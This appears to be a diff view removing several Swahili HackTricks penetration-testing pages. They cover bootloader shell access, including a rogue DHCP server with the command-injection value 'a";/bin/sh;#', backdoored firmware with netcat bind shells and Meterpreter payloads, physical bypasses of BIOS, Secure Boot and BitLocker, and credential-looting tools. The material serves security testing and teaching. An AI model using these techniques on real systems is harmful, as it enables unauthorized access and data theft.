1. **Fikia Shell ya Mfasiri wa Bootloader**:
- Wakati wa kuanzisha, bonyeza "0", nafasi, au "mifumo ya uchawi" nyingine iliyotambuliwa ili kufikia shell ya mfasiri wa bootloader.
2. **Badilisha Hoja za Boot**:
- Tekeleza amri zifuatazo kuongeza '`init=/bin/sh`' kwenye hoja za boot, kuruhusu utekelezaji wa amri ya shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **Weka Server ya TFTP**:
- Sanidi server ya TFTP ili kupakia picha kupitia mtandao wa ndani:
%%%
#setenv ipaddr 192.168.2.2 #IP ya ndani ya kifaa
#setenv serverip 192.168.2.1 #IP ya server ya TFTP
#saveenv
#reset
#ping 192.168.2.1 #angalia ufikiaji wa mtandao
#tftp ${loadaddr} uImage-3.6.35 #loadaddr inachukua anwani ya kupakia faili na jina la picha kwenye server ya TFTP
%%%
4. **Tumia `ubootwrite.py`**:
- Tumia `ubootwrite.py` kuandika picha ya U-boot na kusukuma firmware iliyobadilishwa ili kupata ufikiaji wa root.
5. **Angalia Vipengele vya Debug**:
- Thibitisha ikiwa vipengele vya debug kama vile logging ya kina, kupakia nyuzi zisizo za kawaida, au kuanzisha kutoka vyanzo visivyoaminika vimewezeshwa.
6. **Uingiliaji wa Kihardware wa Tahadhari**:
- Kuwa makini unapounganisha pini moja na ardhi na kuingiliana na SPI au NAND flash chips wakati wa mchakato wa kuanzisha kifaa, hasa kabla ya kernel kufungua. Kagua karatasi ya data ya NAND flash chip kabla ya kufupisha pini.
7. **Sanidi Server ya DHCP ya Ulaghai**:
- Sanidi server ya DHCP ya ulaghai yenye vigezo vya uharibifu ili kifaa kiweze kuyakubali wakati wa kuanzisha PXE. Tumia zana kama server ya DHCP ya msaada ya Metasploit (MSF). Badilisha parameter ya 'FILENAME' kwa amri za kuingiza kama `'a";/bin/sh;#'` ili kujaribu uthibitishaji wa ingizo kwa taratibu za kuanzisha kifaa.
**Kumbuka**: Hatua zinazohusisha mwingiliano wa kimwili na pini za kifaa (\*zilizoorodheshwa kwa nyota) zinapaswa kushughulikiwa kwa tahadhari kubwa ili kuepuka kuharibu kifaa.
## Marejeleo
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
## Uadilifu wa Firmware
**Firmware maalum na/au binaries zilizokusanywa zinaweza kupakiwa ili kutumia udhaifu wa uadilifu au uthibitisho wa saini**. Hatua zifuatazo zinaweza kufuatwa kwa ajili ya uundaji wa backdoor bind shell:
1. Firmware inaweza kutolewa kwa kutumia firmware-mod-kit (FMK).
2. Mchoro wa firmware wa lengo na endianness inapaswa kutambuliwa.
3. Mchambuzi wa msalaba unaweza kujengwa kwa kutumia Buildroot au njia nyingine zinazofaa kwa mazingira.
4. Backdoor inaweza kujengwa kwa kutumia mchambuzi wa msalaba.
5. Backdoor inaweza kunakiliwa kwenye saraka ya firmware iliyotolewa /usr/bin.
6. Binary sahihi ya QEMU inaweza kunakiliwa kwenye rootfs ya firmware iliyotolewa.
7. Backdoor inaweza kuigwa kwa kutumia chroot na QEMU.
8. Backdoor inaweza kufikiwa kupitia netcat.
9. Binary ya QEMU inapaswa kuondolewa kutoka kwenye rootfs ya firmware iliyotolewa.
10. Firmware iliyobadilishwa inaweza kufungashwa tena kwa kutumia FMK.
11. Firmware iliyokuwa na backdoor inaweza kupimwa kwa kuigwa nayo na toolkit ya uchambuzi wa firmware (FAT) na kuunganishwa na IP na bandari ya backdoor ya lengo kwa kutumia netcat.
Ikiwa shell ya root tayari imepatikana kupitia uchambuzi wa dynamic, manipulering ya bootloader, au upimaji wa usalama wa vifaa, binaries mbaya zilizokusanywa kama vile implants au reverse shells zinaweza kutekelezwa. Zana za payload/implant za kiotomatiki kama vile mfumo wa Metasploit na 'msfvenom' zinaweza kutumika kwa hatua zifuatazo:
1. Mchoro wa firmware wa lengo na endianness inapaswa kutambuliwa.
2. Msfvenom inaweza kutumika kubainisha payload ya lengo, IP ya mwenye shambulio, nambari ya bandari inayosikiliza, aina ya faili, mchoro, jukwaa, na faili ya matokeo.
3. Payload inaweza kuhamishwa kwa kifaa kilichovunjwa na kuhakikisha kuwa ina ruhusa za kutekeleza.
4. Metasploit inaweza kuandaliwa kushughulikia maombi yanayokuja kwa kuanzisha msfconsole na kuunda mipangilio kulingana na payload.
5. Meterpreter reverse shell inaweza kutekelezwa kwenye kifaa kilichovunjwa.
6. Session za Meterpreter zinaweza kufuatiliwa kadri zinavyofunguka.
7. Shughuli za baada ya shambulio zinaweza kufanywa.
Ikiwa inawezekana, udhaifu ndani ya scripts za kuanzisha zinaweza kutumiwa kupata ufikiaji wa kudumu kwa kifaa wakati wa kuanzisha upya. Udhaifu huu unatokea wakati scripts za kuanzisha zinarejelea, [kuunganisha kwa alama](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), au kutegemea msimbo ulio katika maeneo yasiyoaminika yaliyowekwa kama vile kadi za SD na volumes za flash zinazotumiwa kuhifadhi data nje ya mifumo ya faili ya root.
## Marejeleo
- Kwa maelezo zaidi angalia [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,57 +0,0 @@
# Physical Attacks
{{#include ../banners/hacktricks-training.md}}
## BIOS Password Recovery and System Security
**Kurekebisha BIOS** kunaweza kufanywa kwa njia kadhaa. Karamani nyingi zina **betri** ambayo, ikiondolewa kwa takriban **dakika 30**, itarejesha mipangilio ya BIOS, ikiwa ni pamoja na nenosiri. Vinginevyo, **jumper kwenye karatasi mama** inaweza kubadilishwa ili kurekebisha mipangilio hii kwa kuunganisha pini maalum.
Kwa hali ambapo marekebisho ya vifaa hayawezekani au si ya vitendo, **zana za programu** zinatoa suluhisho. Kuendesha mfumo kutoka kwa **Live CD/USB** na usambazaji kama **Kali Linux** kunatoa ufikiaji wa zana kama **_killCmos_** na **_CmosPWD_**, ambazo zinaweza kusaidia katika urejeleaji wa nenosiri la BIOS.
Katika matukio ambapo nenosiri la BIOS halijulikani, kuingiza kwa makosa **mara tatu** kawaida husababisha msimbo wa kosa. Msimbo huu unaweza kutumika kwenye tovuti kama [https://bios-pw.org](https://bios-pw.org) ili kupata nenosiri linaloweza kutumika.
### UEFI Security
Kwa mifumo ya kisasa inayotumia **UEFI** badala ya BIOS ya jadi, zana **chipsec** inaweza kutumika kuchambua na kubadilisha mipangilio ya UEFI, ikiwa ni pamoja na kuzima **Secure Boot**. Hii inaweza kufanywa kwa amri ifuatayo:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM Analysis and Cold Boot Attacks
RAM huhifadhi data kwa muda mfupi baada ya nguvu kukatwa, kawaida kwa **dakika 1 hadi 2**. Ustahimilivu huu unaweza kupanuliwa hadi **dakika 10** kwa kutumia vitu baridi, kama nitrojeni ya kioevu. Wakati huu wa kupanuliwa, **memory dump** inaweza kuundwa kwa kutumia zana kama **dd.exe** na **volatility** kwa uchambuzi.
### Direct Memory Access (DMA) Attacks
**INCEPTION** ni zana iliyoundwa kwa ajili ya **manipulation ya kumbukumbu ya kimwili** kupitia DMA, inayoendana na interfaces kama **FireWire** na **Thunderbolt**. Inaruhusu kupita taratibu za kuingia kwa kubadilisha kumbukumbu ili kukubali nenosiri lolote. Hata hivyo, haiwezi kufanya kazi dhidi ya mifumo ya **Windows 10**.
### Live CD/USB for System Access
Kubadilisha binaries za mfumo kama **_sethc.exe_** au **_Utilman.exe_** kwa nakala ya **_cmd.exe_** kunaweza kutoa dirisha la amri lenye mamlaka ya mfumo. Zana kama **chntpw** zinaweza kutumika kuhariri faili ya **SAM** ya usakinishaji wa Windows, kuruhusu mabadiliko ya nenosiri.
**Kon-Boot** ni zana inayorahisisha kuingia kwenye mifumo ya Windows bila kujua nenosiri kwa kubadilisha kwa muda kernel ya Windows au UEFI. Taarifa zaidi zinaweza kupatikana kwenye [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Handling Windows Security Features
#### Boot and Recovery Shortcuts
- **Supr**: Fikia mipangilio ya BIOS.
- **F8**: Ingia katika hali ya Urejeleaji.
- Kubonyeza **Shift** baada ya bendera ya Windows kunaweza kupita autologon.
#### BAD USB Devices
Vifaa kama **Rubber Ducky** na **Teensyduino** vinatumika kama majukwaa ya kuunda **bad USB** devices, zenye uwezo wa kutekeleza payloads zilizowekwa awali zinapounganishwa na kompyuta lengwa.
#### Volume Shadow Copy
Mamlaka ya msimamizi yanaruhusu kuunda nakala za faili nyeti, ikiwa ni pamoja na faili ya **SAM**, kupitia PowerShell.
### Bypassing BitLocker Encryption
BitLocker encryption inaweza kupita ikiwa **nenosiri la urejeleaji** litapatikana ndani ya faili ya memory dump (**MEMORY.DMP**). Zana kama **Elcomsoft Forensic Disk Decryptor** au **Passware Kit Forensic** zinaweza kutumika kwa kusudi hili.
### Social Engineering for Recovery Key Addition
Nenosiri jipya la urejeleaji la BitLocker linaweza kuongezwa kupitia mbinu za ushirikiano wa kijamii, kumshawishi mtumiaji kutekeleza amri inayoongeza nenosiri jipya lililotengenezwa kwa sifuri, hivyo kurahisisha mchakato wa ufichuzi.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,16 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
## **Local l00t**
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hizi skripti, mbali na kutafuta PE vectors, zitaangalia taarifa nyeti ndani ya mfumo wa faili.
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Mradi wa **LaZagne** ni programu ya chanzo wazi inayotumika **kurejesha nywila nyingi** zilizohifadhiwa kwenye kompyuta ya ndani. Kila programu huhifadhi nywila zake kwa kutumia mbinu tofauti (plaintext, APIs, algorithms za kawaida, databases, n.k.). Chombo hiki kimeandaliwa kwa lengo la kutafuta nywila hizi za programu zinazotumika mara nyingi.
## **External Services**
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Moduli hii itajihusisha na API ya Confluence kwa kutumia token ya ufikiaji, kuhamasisha kwa PDF, na kupakua hati za Confluence ambazo lengo linaweza kufikia.
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Chombo cha Red Team kwa kuhamasisha faili kutoka Google Drive ya lengo ambayo wewe (mshambuliaji) unaweza kufikia, kupitia API ya Google Drive. Hii inajumuisha faili zote zilizoshirikiwa, faili zote kutoka kwa drives zilizoshirikiwa, na faili zote kutoka kwa drives za kikoa ambazo lengo linaweza kufikia.
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Chombo cha Red Team kwa kuhamasisha Katalogi ya Watu wa Google ya shirika la lengo ambalo unaweza kufikia, kupitia API ya Watu ya Google.
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Hii ni chombo kilichotengenezwa kwa Python ambacho kinatumia APIs za asili za Slack kutoa taarifa 'za kuvutia' kutoka kwa eneo la kazi la Slack kwa kutolewa kwa token ya ufikiaji.
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ni chombo cha mstari wa amri kwa timu za red na blue kufanya upelelezi haraka wa eneo la kazi/taasisi ya Slack. Slackhound inafanya ukusanyaji wa watumiaji wa shirika, faili, ujumbe, n.k. kuwa rahisi kutafutwa na vitu vikubwa vinaandikwa kwenye CSV kwa ajili ya mapitio ya nje ya mtandao.
{{#include ./banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More